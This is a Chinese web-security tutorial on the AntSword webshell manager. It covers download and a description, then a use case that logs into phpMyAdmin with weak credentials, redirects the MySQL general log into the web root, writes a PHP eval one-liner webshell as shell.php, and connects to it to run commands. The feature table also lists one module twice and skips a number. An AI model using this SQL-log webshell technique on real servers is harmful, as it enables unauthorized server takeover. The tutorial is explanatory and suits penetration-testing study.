01 工具下載地址
https://github.com/AntSwordProject/
螞劍工具的下載分為兩個(gè)部分，一個(gè)是項(xiàng)目核心源碼antSword，另一個(gè)是加載器AntSword-Loader。我們依次進(jìn)行下載，并且進(jìn)行說(shuō)明
先點(diǎn)擊進(jìn)入antSword，點(diǎn)擊頁(yè)面右側(cè)"releases"，進(jìn)入工具的源碼下載頁(yè)面進(jìn)行源碼下載。
而后點(diǎn)擊進(jìn)入AntSword-Loader，點(diǎn)擊頁(yè)面右側(cè)"releases"，進(jìn)入加載器下載頁(yè)面，根據(jù)操作系統(tǒng)類型選擇對(duì)應(yīng)的加載器，此處以Windows舉例。
下載完畢后，解壓加載器的壓縮包，雙擊打開AntSword.exe，出現(xiàn)如下圖界面后，加載對(duì)應(yīng)antSword地址即可
02 工具介紹
AntSword是一個(gè)開源、跨平臺(tái)的webshell管理工具，旨在滿足滲透測(cè)試人員、具有權(quán)限和/或授權(quán)的安全研究人員以及網(wǎng)站管理員的需求。
03 使用案例
攻擊者成功利用弱口令root/root登錄phpmyadmin 后臺(tái)后，利用 SQL 語(yǔ)句 show variables like ‘%general%’；查看general log 是否開啟
若發(fā)現(xiàn)日志讀寫功能關(guān)閉，于是使用 SQL 語(yǔ)句：SET GLOBAL general_log=‘on’； SHOW VARIABLES LIKE ‘%general%’；打開general_log 日志讀寫功能。
打開日志讀寫功能后，根據(jù)圖中 general_log_file 中的絕對(duì)路徑制作一個(gè)木馬文件：SET GLOBAL general_log_file=‘C:/phpStudy/www/shell.php’
接著往 shell.php 寫入 SELECT '<?php eval($_POST["jkxy"])；?>
利用中國(guó)蟻劍工具連接一句話 shell.php，雙擊運(yùn)行AntSword.exe，等初始化完成后，再雙擊“AntSword.exe”即可正常啟動(dòng)，頁(yè)面功能如圖所示：
shell列表區(qū)鼠標(biāo)右鍵選擇添加webshell數(shù)據(jù)：
配置相關(guān)參數(shù)信息后連接測(cè)試成功，打開虛擬終端，輸入命令 whoami，發(fā)現(xiàn)命令執(zhí)行成功。
至此攻擊者通過(guò)螞劍連接Webshell，成功獲取服務(wù)器權(quán)限，后續(xù)的執(zhí)行命令、文件管理、其他功能都在界面中可以進(jìn)行選擇：文章來(lái)源：http://www.zghlxwxcb.cn/news/detail-518869.html
這里對(duì)功能模塊做一個(gè)簡(jiǎn)單的介紹說(shuō)明：文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-518869.html
| 序號(hào) | 模塊名稱 | 功能介紹 |
|---|---|---|
| 1 | 文件管理 | 文件管理是 AntSword 的幾大職能之一，主要涉及文件的邏輯組織和物理組織，目錄的結(jié)構(gòu)和管理。 |
| 2 | 虛擬終端 | 虛擬終端是 AntSword 的幾大職能之一，利用 Shell 模擬終端，在遠(yuǎn)程計(jì)算機(jī)上運(yùn)行應(yīng)用程序，就像他們是坐在這臺(tái)計(jì)算機(jī)前面一樣。 |
| 3 | 數(shù)據(jù)庫(kù)管理 | 數(shù)據(jù)庫(kù)管理是 AntSword 的幾大職能之一，通過(guò)圖形化的管理界面，利用 Shell 轉(zhuǎn)發(fā)功能，對(duì)遠(yuǎn)程服務(wù)器上的數(shù)據(jù)庫(kù)進(jìn)行快速、高效的管理 |
| 4 | 文件管理 | 可視化管理文件的增刪改查等操作 |
| 6 | 插件市場(chǎng) | 插件開發(fā)者將插件提交至「插件市場(chǎng)」后，使用者可輕松獲取并使用插件。 |
04 參考資料
蟻劍官方文檔
https://www.yuque.com/antswordproject/antsword/lmwppk
到了這里，關(guān)于Web安全-AntSword（中國(guó)蟻劍）Webshell管理工具使用的文章就介紹完了。如果您還想了解更多內(nèi)容，請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章，希望大家以后多多支持TOY模板網(wǎng)！
